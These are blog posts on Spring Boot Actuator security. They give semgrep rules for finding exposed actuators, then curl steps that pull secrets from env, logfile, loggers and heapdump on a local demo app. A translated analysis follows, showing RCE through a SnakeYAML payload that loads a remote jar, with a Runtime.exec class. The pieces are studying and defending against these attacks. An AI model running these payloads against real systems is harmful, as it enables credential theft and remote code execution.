In this article, we will discuss how we can detect exposed Spring Actuators in an application that you have source code access. We will begin with manual steps, and then look at how you can automate the process using static security testing tools (dynamic testing will be covered in part 3 of the series).

Manually Looking for Exposed Actuators

The most basic method of finding dangerous actuators is to use... your eyeballs. If you have access to the application source code, you can look at the Spring configuration files to check if actuators are enabled, and how they are configured. Begin by checking the .properties file(s) (or the respective .yaml equivalents) where the Spring configuration is stored. Recall that the list of active actuators is controlled with the following key:

# Generic configuration for actuator endpoints, in this case
# activating two endpoints: health and prometheus
management.endpoints.web.exposure.include=health,prometheus

This setting controls which endpoints are exposed over the web. Individual endpoints can also be completely disabled by setting management.endpoints.$ACTUATOR.enabled=false - as a rule of thumb, I would recommend inspecting everything in the management category and see if any dangerous endpoints are being activated, and if so, if mitigations (authentication requirements, ...) are already in place.

(All examples in this article are targeting the current version of Spring - older versions may use a different configuration syntax, or even (in the case of Spring 1.X) expose all actuators by default. Adapt what you read to your version of Spring, if necessary.)

Automating the Search Using Semgrep

Checking the code manually isn't always feasible. Maybe you are part of a security team that is responsible for a large set of software repositories, or maybe you want to add a check for dangerous actuators to your CI, to ensure that they aren't inadvertently activated a few weeks down the line.

For these cases, let me introduce you to my favorite static code analysis tool: semgrep. It's a free Open Source tool that you can install and use right now (it only starts costing money if you want to use their dashboard to view the results, which is entirely optional, and all code scanning runs on your device - code is never uploaded to any servers). As stated briefly, semgrep searches for code matching specific patterns, taking the semantics of the code into account (hence, semantic grep). You can use it for security checks based on a large set of detection rules curated by the semgrep community, but where it really shines is when you start writing rules for your own use cases.

The Basic Case: All Actuators

Semgrep rules are fairly easy to wrap your head around, so let's build one for our example application from the previous part of this series. To be able to showcase some of the capabilities of semgrep, we'll be using the YAML configuration syntax for Spring. This is what a basic vulnerable Spring configuration could look like:

management:
  endpoints:
    web:
      exposure:
        # Activate all Actuators (this is a bad idea!)
        include: "*"
        # Alternative syntax would be:
        # include:
        #   - "*"

Semgrep patterns are also specified in YAML files. Here's an annotated semgrep rule to find this case, with explanations of what the components are doing.

# The rules file must begin with this top-level element, followed 
# by a list of rules
rules:
  # Every rule must have a unique ID
  - id: spring-actuator-fully-enabled
    # Now, we define which pattern we are looking for. In this 
    # case, we want to match both of the possible syntaxes for 
    # activating all actuators, so we use a pattern-either as a 
    # top-level element. This tells semgrep that it should match 
    # if at least one of the rules specified below matches the 
    # code.
    patterns:
      # The first pattern specifies the string syntax for the 
      # wildcard actuator setting.
      # Note the frequent use of ... in the rule. This tells 
      # semgrep "I don't care if there is other stuff here, 
      # keep searching until you find the next specified 
      # part". If we omitted them, semgrep would not match if 
      # any non-specified elements are in the YAML tree, even 
      # if the pattern we are looking for is *also* in there.
      - pattern: |
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: "*"
      # Specify the second rule that matches the second way of 
      # defining the actuator activation.
      - pattern: |
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include:
                    ... 
                    - "*"
    # Specify the message that should be shown if the rule matches
    message: Spring Boot Actuator is fully enabled. This exposes
      sensitive endpoints such as /actuator/env, /actuator/logfile, 
      /actuator/heapdump and others. Unless you have Spring 
      Security enabled or another means to protect these endpoints, 
      this functionality is available without authentication, 
      causing a severe security risk.
    # Activating all actuators is dangerous, so we set the severity 
    # to ERROR. This means that it could potentially fail a build, 
    # if we ran this as part of a CI job.
    severity: ERROR
    # Tell semgrep that the rule is for the YAML language. This 
    # will automatically cause it to only be evaluated for YAML 
    # files.
    languages:
      - yaml

This is already quite a handy rule to quickly audit a large codebase for an obvious misconfiguration. To run it, save it in a file, and then run it with semgrep like this:

$ semgrep -c path/to/semgrep-rule.yaml .
Scanning 2 files with 2 yaml rules.
  100%|███████████████████████████████████████████████████████████████|2/2 tasks

Findings:
  src/main/resources/application.yml 
     src.main.resources.spring-actuator-fully-enabled
        Spring Boot Actuator is fully enabled. This exposes sensitive
        endpoints such as /actuator/env, /actuator/logfile,
        /actuator/heapdump and others. Unless you have Spring Security
        enabled or another means to protect these endpoints, this
        functionality is available without authentication, causing a severe
        security risk.

          3┆ management:
          4┆   endpoints:
          5┆     web:
          6┆       # base-path: /internal
          7┆       stuff:
          8┆         - "Nonsense"
          9┆       exposure:
         10┆         include: "*"
         11┆

Note that it outputs the entire matched area of the code for inspection. It also did not have any problems with the commented-out section, or with the other YAML keys, I added to the config file. Pretty neat, and something that would be difficult to achieve with a regular grep call.

Matching Specific Actuators

The example above is already quite handy, but it only checks for the wildcard operator. Where semgrep really starts to shine is if we encounter a configuration like this:

management:
  endpoints:
    web:
      exposure:
        include:
          - "health"
          - "prometheus"
          - "logfile"
          - "env"
          - "heapdump"
          - "togglz"

Now, for the sake of argument, let's say you are fine with exposing your health endpoint (which can be reasonable in some situations), and you also find it acceptable to expose the Prometheus metrics (I wouldn't recommend it, but you do you). All other actuators should be disabled. But how can we check this using semgrep?

Fairly easily, it turns out. Semgrep has a powerful feature called "Metavariables", which allows you to pull specific parts of the code into a variable that you can then reuse in other parts of the rule. Normally, this would be used to track variables or function names while analyzing source code. However, we can also use it to pull out the list of activated actuators and match them against a list of known-accepted actuators. Here's an annotated rule that does this:

rules:
  - id: spring-actuator-dangerous-endpoints-enabled
    # This time, our top-level pattern operator is "patterns" 
    # (instead of pattern-either), which means that all patterns 
    # below need to match for the entire rule to produce a match.
    patterns:
      # First, we mostly reuse the existing pattern to get down to 
      # the level of the activated actuators. However, once we 
      # reach it,  we pull the actuators into a metavariable called 
      # $ACTUATOR. The rule will be evaluated once for every 
      # actuator in the list, meaning that we can produce more than 
      # one finding. Note the use of ... inside the 
      # include: [..., $ACTUATOR, ...]. This is used to indicate 
      # that the actuator can be in any location inside the list. 
      # If we were to write [$ACTUATOR, ...], we would only match 
      # the first in the list.
      - pattern: |
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: [..., $ACTUATOR, ...]
      # Now comes the magic part :)
      # The metavariable-comparison operator allows us to pull 
      # in a metavariable and compare it using a python comparison 
      # operator. In this case, we explicitly cast the actuators to 
      # strings, and  then compare them to the list of actuators 
      # we want to allow.
      # Note that the "not VAR in LIST" syntax is due to a bug in
      # semgrep that prevented the "VAR not in LIST" construction
      # at the time of writing. In general, the latter should work
      # as well, as soon as the bug is fixed.
      - metavariable-comparison:
          metavariable: $ACTUATOR
          comparison: not str($ACTUATOR) in ["health", "prometheus"]
    # We can also use the metavariable in the message, so that we 
    # can directly output the offending actuator in the logs.
    message: Spring Boot Actuator "$ACTUATOR" is enabled. Depending 
      on the actuator, this can pose a significant security risk. 
      Please double-check if the actuator is needed and properly 
      secured.
    severity: ERROR
    languages:
      - yaml

If we run this rule against the configuration shown above, we get the following result:

$ semgrep -c path/to/rules.yaml .
Scanning 2 files with 2 yaml rules.
  100%|███████████████████████████████████████████████████████████████|2/2 tasks

Findings:

  src/main/resources/application.yml 
     src.main.resources.spring-actuator-dangerous-endpoints-enabled
        Spring Boot Actuator ""en" is enabled. Depending on the actuator,
        this can pose a significant security risk. Please double-check if
        the actuator is needed and properly secured.

          3┆ management:
          4┆   endpoints:
          5┆     web:
          6┆       # base-path: /internal
          7┆       exposure:
          8┆         include:
          9┆           - "health"
         10┆           - "prometheus"
         11┆           - "logfile"
         12┆           - "env"
           [hid 3 additional lines, adjust with --max-lines-per-finding] 
     src.main.resources.spring-actuator-dangerous-endpoints-enabled
        Spring Boot Actuator ""heapdum" is enabled. Depending on the
        actuator, this can pose a significant security risk. Please double-
        check if the actuator is needed and properly secured.

          3┆ management:
          4┆   endpoints:
          5┆     web:
          6┆       # base-path: /internal
          7┆       exposure:
          8┆         include:
          9┆           - "health"
         10┆           - "prometheus"
         11┆           - "logfile"
         12┆           - "env"
           [hid 3 additional lines, adjust with --max-lines-per-finding] 
... two more findings like this, for ""logfil" and ""toggl" ...

You will note three things:

The output of the metavariable is a bit bugged - this is a known issue in semgrep at the time of writing, but it is purely cosmetic (internally, the matching works).

We get four matches, which is the expected number for the configuration file above - health and Prometheus were ignored, as requested.

Although we defined the rule using the syntax include: [..., $ACTUATOR, ...], it still matched the syntax from the config file, as it knows that the inline list format and the "individual lines prefixed by a dash"-Syntax are equivalent. This semantic knowledge is what makes semgrep so powerful.

Excluding Findings

This is already a quite useful pattern. However, maybe your organization actually wants actuators to be active, and simply requires them to be running on a specific port or IP that is not exposed publicly. In that case, a configuration like this would be perfectly acceptable:

management:
  server:
    # Actuators only listen on localhost:8080
    address: 127.0.0.1
    port: 8080
  endpoints:
    web:
      exposure:
        include:
          - "health"
          - "prometheus"
          - "logfile"
          - "env"
          - "heapdump"
          - "togglz"

So, how can we tell semgrep "please find cases where actuators are active, but not if they are only listening on a specific IP"? Fairly easily, actually. Let's build a rule for that.

rules:
- id: spring-actuator-dangerous-endpoints-enabled
    patterns:
      # Pattern identical to the previous example
      - pattern: |
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: [..., $ACTUATOR, ...]
      # pattern identical to previous example
      - metavariable-comparison:
          metavariable: $ACTUATOR
          comparison: not str($ACTUATOR) in ["health", "prometheus"]
      # We add a third pattern, with the pattern-not directive. 
      # This means that any patterns that match this are not 
      # considered for the results. In this example, we exclude 
      # cases where the address for the management server is 
      # explicitly set to 127.0.0.1.
      - pattern-not: |
          management:
            ...
            server:
              ...
              address: 127.0.0.1
    message: Spring Boot Actuator "$ACTUATOR" is enabled, and not
      bound to 127.0.0.1. Depending on the actuator, this can pose 
      a significant security risk. Please double-check if the 
      actuator is needed and properly secured. Company policy is to
      only allow actuators to listen on 127.0.0.1 - you can achieve
      this by setting management.server.address to 127.0.0.1.
    severity: ERROR
    languages:
      - yaml

Or maybe you don't actually care which IP the actuator is listening on, as long as a port and IP are explicitly set - maybe because the set of possible allowed IPs is too large, or maybe because you think that if a team is going to go to the trouble of setting these two values, they know what they are doing and don't need your handholding. In this case, simply change the pattern-not to the following:

- pattern-not: |
    management:
      ...
      server:
        ...
        port: $PORT
        address: $ADDRESS

In this case, you simply tell semgrep "hey, I don't actually care what the values of the two metavariable are, just make sure they are present". As a bonus, semgrep knows that the order of keys in YAML doesn't matter, so you don't have to worry about what happens if the two keys are in a different order in the config file - semgrep will find them.

Conclusion

We could go on for quite a while in refining these patterns, but in the end, you will have to adapt them to your own situation. For example, maybe you are securing your Actuators using Spring Security, and simply need to check if the correct authentication requirements are configured. Or maybe you are exposing all active actuators, but have turned off most actuators that are enabled by default. All of these things can be checked with semgrep if you know how to write the rules.

I would be remiss if I did not mention one limitation of semgrep: Currently, the semantic features of semgrep are not yet available for all programming languages. In particular, this is the reason why I worked with YAML configuration files for Spring in this article - going through the plain-text properties format would be a lot more annoying with semgrep, as you cannot use the implicit hierarchy that YAML gives you to structure your queries. You can still write semgrep rules against these files using the generic language model, but it is subject to some limitations. I recommend playing around with it to see if you can get your use case to work - the semgrep playground allows you to do so without installing anything on your device.

This concludes this part of the Spring Actuator security series. I hope that you have gained some appreciation for the power and flexibility of using static code analysis to aid you in securing your systems. In the next part, we will discuss how to find actuators in deployed software using dynamic testing.

Further Reading:

The semgrep documentation and Getting Started tutorial

The semgrep registry contains lots of rules for many issues, and you can contribute your own.

The semgrep Slack is full of helpful and kind people who help you when you are stuck.

What are Actuators?

Actuators expose information about the running Spring application via (amongst others) a REST API and can be used to retrieve data from the system, or even make configuration changes if configured (in)correctly. They can be quite helpful in debugging or monitoring a Spring application, but if you expose them too widely, things can get dangerous very quickly.

By default, only the health check endpoint is enabled over REST, listening at /actuator/health. However, it is possible to enable additional endpoints, for example, to expose metrics to Prometheus for monitoring. This can be done through settings in the relevant .properties file (or its YAML equivalent):

# Enable Prometheus endpoint in addition to health check
management.endpoints.web.exposure.include=health,prometheus

It is also possible to enable all endpoints for access over REST, by using the following setting in the relevant .properties file:

# Do not do this! This is insecure!
management.endpoints.web.exposure.include=*

This is the config that I found during a recent engagement - and since the application was explicitly configured to expose all actuators without any authentication, I was curious to see what other actuators exist, and how they could be leveraged to attack the application. The result was this article series (and a call to the customer, telling them to make some changes to their configuration right now).

Exploiting Public Actuators

Conveniently, Spring provides a list of all actuators that are present by default and can be enabled. They include actuators for reading (and writing!) the log configuration, the application environment (including environment variables), and even the logs of the application. Even more conveniently, by default, it will show you the list of enabled actuators if you simply access /actuator, removing the guesswork out of determining which actuators you have to work with.

I've created a basic, vulnerable Spring application that exposes all endpoints if you want to follow along at home. Running it locally on your machine and accessing the Spring actuators endpoint, you will get the following output:

$ curl localhost:8081/actuator | jq .
{
  "_links": {
    "self": {
      "href": "http://localhost:8081/actuator",
      "templated": false
    },
    "beans": {
      "href": "http://localhost:8081/actuator/beans",
      "templated": false
    },
    "caches": {
      "href": "http://localhost:8081/actuator/caches",
      "templated": false
    },
    "caches-cache": {
      "href": "http://localhost:8081/actuator/caches/{cache}",
      "templated": true
    },
    "health-path": {
      "href": "http://localhost:8081/actuator/health/{*path}",
      "templated": true
    },
    "health": {
      "href": "http://localhost:8081/actuator/health",
      "templated": false
    },
    "info": {
      "href": "http://localhost:8081/actuator/info",
      "templated": false
    },
    "conditions": {
      "href": "http://localhost:8081/actuator/conditions",
      "templated": false
    },
    "configprops": {
      "href": "http://localhost:8081/actuator/configprops",
      "templated": false
    },
    "configprops-prefix": {
      "href": "http://localhost:8081/actuator/configprops/{prefix}",
      "templated": true
    },
    "env-toMatch": {
      "href": "http://localhost:8081/actuator/env/{toMatch}",
      "templated": true
    },
    "env": {
      "href": "http://localhost:8081/actuator/env",
      "templated": false
    },
    "logfile": {
      "href": "http://localhost:8081/actuator/logfile",
      "templated": false
    },
    "loggers-name": {
      "href": "http://localhost:8081/actuator/loggers/{name}",
      "templated": true
    },
    "loggers": {
      "href": "http://localhost:8081/actuator/loggers",
      "templated": false
    },
    "heapdump": {
      "href": "http://localhost:8081/actuator/heapdump",
      "templated": false
    },
    "threaddump": {
      "href": "http://localhost:8081/actuator/threaddump",
      "templated": false
    },
    "metrics-requiredMetricName": {
      "href": "http://localhost:8081/actuator/metrics/{requiredMetricName}",
      "templated": true
    },
    "metrics": {
      "href": "http://localhost:8081/actuator/metrics",
      "templated": false
    },
    "scheduledtasks": {
      "href": "http://localhost:8081/actuator/scheduledtasks",
      "templated": false
    },
    "mappings": {
      "href": "http://localhost:8081/actuator/mappings",
      "templated": false
    }
  }
}

There have been some articles about exploiting actuators, which can even lead to remote code execution (RCE) on the machine running the application. Veracode discussed a series of paths to RCE in 2019 (although some of their methods no longer work on modern Spring versions). In this article, I wanted to highlight a few additional endpoints that can prove dangerous, to illustrate why you should be careful with this feature.

Exposing the Environment

Let's assume the application you are running is using environmental variables to pull in configuration values:

public class SecretConfig {
    protected static String DATABASE_CONNECTION = System.getenv("DB_CONN");
    protected static String SECRET_AWS_ACCESS_KEY = System.getenv("AWS_SECRET_KEY");
    protected static String SECRET_AWS_ACCESS_TOKEN = System.getenv("AWS_TOKEN");
}

One of the endpoints allows us to take a peek at the application environment. Let's see if we can get these tokens using the env actuator:

$ curl localhost:8081/actuator/env | jq .
// ... lots of stuff
"DB_CONN": {
    "value": "psql://server/db",
    "origin": "System Environment Property \"DB_CONN\""
},
// ... lots of stuff

So, we can read the DB connection string in plaintext from the actuator. Sweet. What about the AWS credentials? Well, the situation is a bit more complicated here:

"AWS_SECRET_KEY": {
    "value": "******",
    "origin": "System Environment Property \"AWS_SECRET_KEY\""
},
"AWS_TOKEN": {
    "value": "******",
    "origin": "System Environment Property \"AWS_TOKEN\""
},

As you can see, the data is being redacted. Spring automatically tries to redact sensitive values in the Actuator output, based on the name of the environment variable. If we had been more careless and chosen a different name, the data would be right here for the taking, but sadly, Spring has prevented us from trivially stealing the values here. But, there are of course other ways to achieve this goal.

Reading Logs

Let's assume that your application has the following code:

@RequestMapping("/")
public String index() {
    logger.info("Entering hello world function...");
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    // Log the AWS credentials for debugging, 
    // so we know if they got loaded correctly.
    logger.info("Dumping AWS credentials for debugging purposes: Key: {} Token: {}", AWS_KEY, AWS_TOKEN);
    // Do some work with the AWS credentials
    return "Hello World!";
}

Assuming it is configured to log to a file, Spring helpfully exposes an endpoint called /actuator/logfile. Let's take a look at what this can give us:

$ curl localhost:8081/actuator/logfile   
[...]
2022-08-24 13:45:14.813  INFO 68465 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Entering hello world function...
2022-08-24 13:45:14.814  INFO 68465 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Dumping AWS credentials for debugging purposes: Key: AKIATESTTEST Token: TESTingSecretAccessTest

And there we go - we can pull the AWS credentials right from the logs.

This is, admittedly, a bit far-fetched. No one in their right mind would log AWS credentials in a production environment, right? Okay, then let's make a few changes to the code to reflect this:

@RequestMapping("/")
public String index() {
    logger.info("Entering hello world function...");
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    // This is safe, as this logs on the DEBUG level,
    // while in production, the loglevel is set to INFO, 
    // so this will never be logged
    logger.debug("Dumping AWS credentials for debugging purposes: Key: {} Token: {}", AWS_KEY, AWS_TOKEN);
    // Do some work with the AWS credentials
    return "Hello World!";
}

So you build, deploy, double-check that the logs are clean, and go to bed, knowing that your application is now safe - right?

Changing Log Configuration

Enter /actuator/loggers. This endpoint gives us the log configuration for the application, and looks something like this:

$ curl localhost:8081/actuator/loggers | jq .
{
  "levels": [
    "OFF",
    "ERROR",
    "WARN",
    "INFO",
    "DEBUG",
    "TRACE"
  ],
  "loggers": {
    // ...
    "com.example.demo": {
      "configuredLevel": null,
      "effectiveLevel": "INFO"
    },
    "com.example.demo.DemoApplication": {
      "configuredLevel": null,
      "effectiveLevel": "INFO"
    },
    // ...
  }
  // ...
}

So, we can see that the logger is configured to only log on the INFO level. Sure, this isn't great (the endpoint discloses a lot about the structure of the application, used dependencies, etc.), but it isn't immediately dangerous. What is dangerous is the fact that the logger configuration can also be changed from this actuator by sending a POST to the correct endpoint. In this case, I am setting the log level for the logger com.example.demo.demo application to DEBUG:

$ curl -X POST localhost:8081/actuator/loggers/com.example.demo.DemoApplication -H 'Content-Type: application/json' -d '{"configuredLevel": "DEBUG"}'

Visit the page again, retrieve the logs - and there we go:

$ curl localhost:8081/actuator/logfile   
[...]
2022-09-24 13:57:37.774  INFO 71087 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Entering hello world function...
2022-09-24 13:57:37.774 DEBUG 71087 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Dumping AWS credentials for debugging purposes: Key: AKIATESTTEST Token: TESTingSecretAccessTest

The logs are back, clearly showing that the application is now logging on the DEBUG level. Now you are seriously annoyed, and decide to do what you should have done before: get rid of the logging statement, as there really is no good reason for it to be there in the first place anyway.

@RequestMapping("/")
public String index() {
    logger.info("Entering hello world function...");
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    // Do not log the AWS Credentials, this is dangerous! 
    // => Commented out for now.
    // logger.debug("Dumping AWS credentials for debugging purposes: Key: {} Token: {}", AWS_KEY, AWS_TOKEN);
    // Do some work with the AWS credentials
    return "Hello World!";
}

Build, deploy, and finally we're safe. Right?

Actually, I'll Just Have Everything To Go, Please

Pulling data from logs is a really tedious task, and there is no guarantee for me (as an attacker) that the application will actually log interesting things. Sure, I could go ahead and set every single external library to the TRACE log level, collect the logs, and sift through them, but really, this seems like a lot of work I'd rather avoid doing, thank you very much. Why go to that trouble if I could instead just take... everything?

Well, lucky for me, there is /actuator/heapdump. This endpoint does exactly what it sounds like - it takes a copy of the Java heap (i.e., the memory of the application) and provides it to me as a large blob of binary data. Let's grab a copy and dig in.

$ curl localhost:8081/actuator/heapdump -o heap.bin

Now, since you have cleverly disabled the logging of AWS credentials, I can no longer just read them from the logs - but they are still in the heap of the application! Likely in the middle of a big chunk of meaningless binary data, but that's what the strings utility is for - it pulls sequences of printable characters from any file and presents them to you, newline-separated. You can then just pipe the whole thing through grep to find what you are looking for. For example, AWS credentials.

# Use -C 20 to see 20 lines before and after each match
$ strings heap.bin | grep -C 20 AKIA
[...]
AWS_TOKEN#
AWS_TOKEN!
TESTingSecretAccessTest#
TESTingSecretAccessTest!
[...]
AWS_SECRET_KEY#
AWS_SECRET_KEY!
AKIATESTTEST#
AKIATESTTEST!

And there we go - secrets, pulled directly from the brain of your application. In the same way, we could pull out cryptographic keys, API credentials, user data that the application is currently working on, internal API addresses, AWS resource identifiers, or whatever else the application is using. And at this point, there really isn't anything you can do about it.

Well, except, of course, not exposing your actuators.

Closing Notes

I've only gone through a small number of the actuators in this blog post, and these aren't even necessarily the most dangerous ones. The only arguably harmless endpoint is the health check actuator (which is also the only one that is enabled by default). Any other endpoint should be considered dangerous (yes, even the Prometheus endpoint you are using for monitoring your application, unless you are fine with showing the whole world your resource usage and whatever business metrics you are exposing through it). The best thing you can do it to turn off every endpoint you are not actively using, limit access to the others using the firewall, and add authentication requirements.

In the next parts of this blog series, I will discuss how to detect your exposed endpoints. We will begin with detecting them in your code, and then move on to detecting them with dynamic security scanners. Finally, we will discuss how you can secure your actuators against attackers.

Further reading:

https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

https://tutorialboy24.blogspot.com/2022/02/a-study-notes-of-exploit-spring-boot.html

In February of the year, Michael Stepankin wrote an article on the utilization of Spring Boot Actuators https://www.veracode.com/blog/research/exploiting-spring-boot-actuators, which introduced a variety of utilization ideas and methods, and then the author updated the article in May, adding the method of implementing RCE by modifying spring.cloud.bootstrap.locationenvironment, because there is no analysis article on this method found on the Internet, I debug and record the process myself, mainly content include

• Principle and Process Analysis of Realizing RCE by Modifying Environment Variables

• SnakeYAML deserialization introduction and utilization

• High version Spring Boot Actuator utilizes testing and failure cause analysis

RCE Analysis

First, briefly summarize the use process

• Use /envendpoint to modify the spring.cloud.bootstrap.locationattribute value to an external yml configuration file url address, such ashttp://127.0.0.1:63712/yaml-payload.yml

• Request /refreshthe endpoint, trigger the program to download the external yml file, and parse it by the SnakeYAML library, because SnakeYAML supports specifying the class type and the parameters of the construction method during deserialization, combined with the javax.script.ScriptEngineManagerclass , it can load the remote jar package and complete any arbitrary code execution

• From the process, we know that the command execution is caused by a deserialization vulnerability when SnakeYAML parses the YAML file. Let's look at an example of deserialization using the SnakeYAML library.

    @Test
    public void testYaml() {
        Yaml yaml = new Yaml();
        Object url = yaml.load("!!java.net.URL [\"http://127.0.0.1:63712/yaml-payload.jar\"]");
        // class java.net.URL
        System.out.println(url.getClass());
        // http://127.0.0.1:63712/yaml-payload.jar
        System.out.println(url);
    }

SnakeYAML supports !!+ full class name to specify the class to be deserialized, and then passes the constructor parameters in [arg1, arg2, ...]the form of . After the code in the example is executed, an java.net.URLinstance of the class will be deserialized

Let's take a look at the content of the external yml file given in yaml-payload.yml the

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
  ]]
]

The process of SnakeYAML processing the above content can be equivalent to the following java code

URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));

After the code is executed, the jar package will be downloaded from the http://127.0.0.1:63712/yaml-payload.jaraddress , and javax.script.ScriptEngineFactoryan implementation class of the interface will be found in the package, and then instantiated. Because the jar package code is controllable, arbitrary code can be executed.

The general process is understood, let's debug it

For the yaml-payload.jarcode see https://github.com/artsploit/yaml-payload, the key code is AwesomeScriptEngineFactory.javaclass, and Runtime is used in the constructor to execute system commands

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
        Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    ...
}

We breakpoint under the Runtime.exec()method , and the call stack is as follows

method call order

javax.script.ScriptEngineManager<init>
    javax.script.ScriptEngineManager.init()
        javax.script.ScriptEngineManager.initEngines()
            java.util.ServiceLoader.LazyIterator.nextService()
                artsploit.AwesomeScriptEngineFactory<init>
                    Runtime.getRuntime().exec()

The Java SPI mechanism is used in the method of the ScriptEngineManagerclass to dynamically load the implementation class of the interfaceinitEnginesScriptEngineFactory

This is also why the AwesomeScriptEngineFactoryclass needs to implement the ScriptEngineFactoryinterface, META-INF/servicesand there needs to be a file name javax.script.ScriptEngineFactoryin the directory, and the value is the full package name of the implementation class, that is, it needs to conform to the Java SPI implementation specification

In the process of ServiceLoaderloading the implementation class, the parameterless constructor will be called to create an instance and trigger command execution

The corresponding code is in the ServiceLoader.LazyIteratorclassnextService()

After analyzing the YAML deserialization, let's take a look at the execution process in Spring Boot Actuator. For the vulnerability environment and code, see the master branch

Run the vulnerable environment in debug mode, and also breakpoints under the Runtime.exec()method

Modify firstspring.cloud.bootstrap.location

curl -XPOST http://127.0.0.1:61234/env -d "spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml"  

Visit http://127.0.0.1:61234/env, you can see that there managerare more values ​​we set under

Then request the /refreshinterface to trigger

curl -XPOST http://127.0.0.1:61234/refresh

The call stack is relatively long, let's look at a few key placesThe first is the RefreshEndpoint.refresh()method , /refreshthe class that handles the interface request

The second is the BootstrapApplicationListener.bootstrapServiceContext()method , where the value is obtained from the environment variable spring.cloud.bootstrap.location, that is, the external yml file url set previously

Then you will go to the org.springframework.boot.env.PropertySourcesLoader.load()method , according to the file name suffix (yml), use the YamlPropertySourceLoaderclass to load the yml configuration file corresponding to the url

According to the code on the right, because spring-beans.jar contains snakeyaml.jar, YamlPropertySourceLoaderthe SnakeYAML library is used to parse the configuration by default

Finally, it is called in the YamlProcessor.process()method to Yaml.loadAll()parse the content of the yml file, and the subsequent process is similar to the previous SnakeYAMLdeserialization process, which finally triggers command execution

High Version Test

The vulnerability environment given by the author in the article is the Spring Boot 1.x version, and in the actual testing process, many situations are encountered in the Spring Boot 2.x version. In version 2.x, the default endpoint prefix of the actuator is /actuator, and the post body of the envinterface also in JSON format. The steps are:

Modify environment variables

curl -XPOST -H "Content-Type: application/json" http://127.0.0.1:61234/actuator/env -d '{"name":"spring.cloud.bootstrap.location","value":"http://127.0.0.1:63712/yaml-payload.yml"}'

Visit http://127.0.0.1:61234/actuator/env, you can see that there are more values ​​just set under property sources

Then refresh triggers

curl -XPOST http://127.0.0.1:61234/actuator/refresh

After the execution, you will find that the calculator does not pop up. At this time, the black question mark? ? ? You can only debug again to find the reason

After some research, I found that it was because the value of the spring.cloud.bootstrap.locationattribute did not take effect.

Let's recall the second key point mentioned earlier

**BootstrapApplicationListener.bootstrapServiceContext() **, here is **spring.cloud.bootstrap.location **the , that is, the external yml file url set before

It can be seen that configLocationthe value of , is empty, that is, the value that cannot be parsed from ${spring.cloud.bootstrap.location}

Through the analysis of the calling method and variable, it is found environmentthat the propertySourceList attribute in the variable has changed

Let's take a look at the 1.x version first, you can see that it contains manager

Let's take a look at the 2.x version, you will find that there is no more

And the loading code of PropertySources is in **org.springframework.cloud.context.refresh.ContextRefresherthe copyEnvironment() **method of

private StandardEnvironment copyEnvironment(ConfigurableEnvironment input)

The same, let's first look at the logic of 1.x

    private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
        StandardEnvironment environment = new StandardEnvironment();
        MutablePropertySources capturedPropertySources = environment.getPropertySources();
        for (PropertySource<?> source : capturedPropertySources) {
            capturedPropertySources.remove(source.getName());
        }
        for (PropertySource<?> source : input.getPropertySources()) {
            capturedPropertySources.addLast(source);
        }
        environment.setActiveProfiles(input.getActiveProfiles());
        environment.setDefaultProfiles(input.getDefaultProfiles());
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("spring.jmx.enabled", false);
        map.put("spring.main.sources", "");
        capturedPropertySources
                .addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
        return environment;
    }

input.getPropertySources() the value of

The following is the logic of 2.x

  private static final String[] DEFAULT_PROPERTY_SOURCES = new String[] {
            // order matters, if cli args aren't first, things get messy
          // commandLineArgs
            CommandLinePropertySource.COMMAND_LINE_PROPERTY_SOURCE_NAME,
            "defaultProperties" };

    private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
        StandardEnvironment environment = new StandardEnvironment();
        MutablePropertySources capturedPropertySources = environment.getPropertySources();
        // Only copy the default property source(s) and the profiles over from the main
        // environment (everything else should be pristine, just like it was on startup).
        for (String name : DEFAULT_PROPERTY_SOURCES) {
            if (input.getPropertySources().contains(name)) {
        
                if (capturedPropertySources.contains(name)) {
                    capturedPropertySources.replace(name,
                            input.getPropertySources().get(name));
                }
                else { 
                    capturedPropertySources.addLast(input.getPropertySources().get(name));
                }
            }
        }
        environment.setActiveProfiles(input.getActiveProfiles());
        environment.setDefaultProfiles(input.getDefaultProfiles());
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("spring.jmx.enabled", false);
        map.put("spring.main.sources", "");
        capturedPropertySources
                .addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
        return environment;
    }

According to the code, it can be known that only the name DEFAULT_PROPERTY_SOURCESin PropertySourcewill be processed, and its value is a string array, which only contains

• commandLineArgs

• default properties

And what we added is that the property value is in manager the PropertySource, so it will not be added to the property sources ( capturedPropertySources) of the environment, which will eventually lead to the inability to resolve

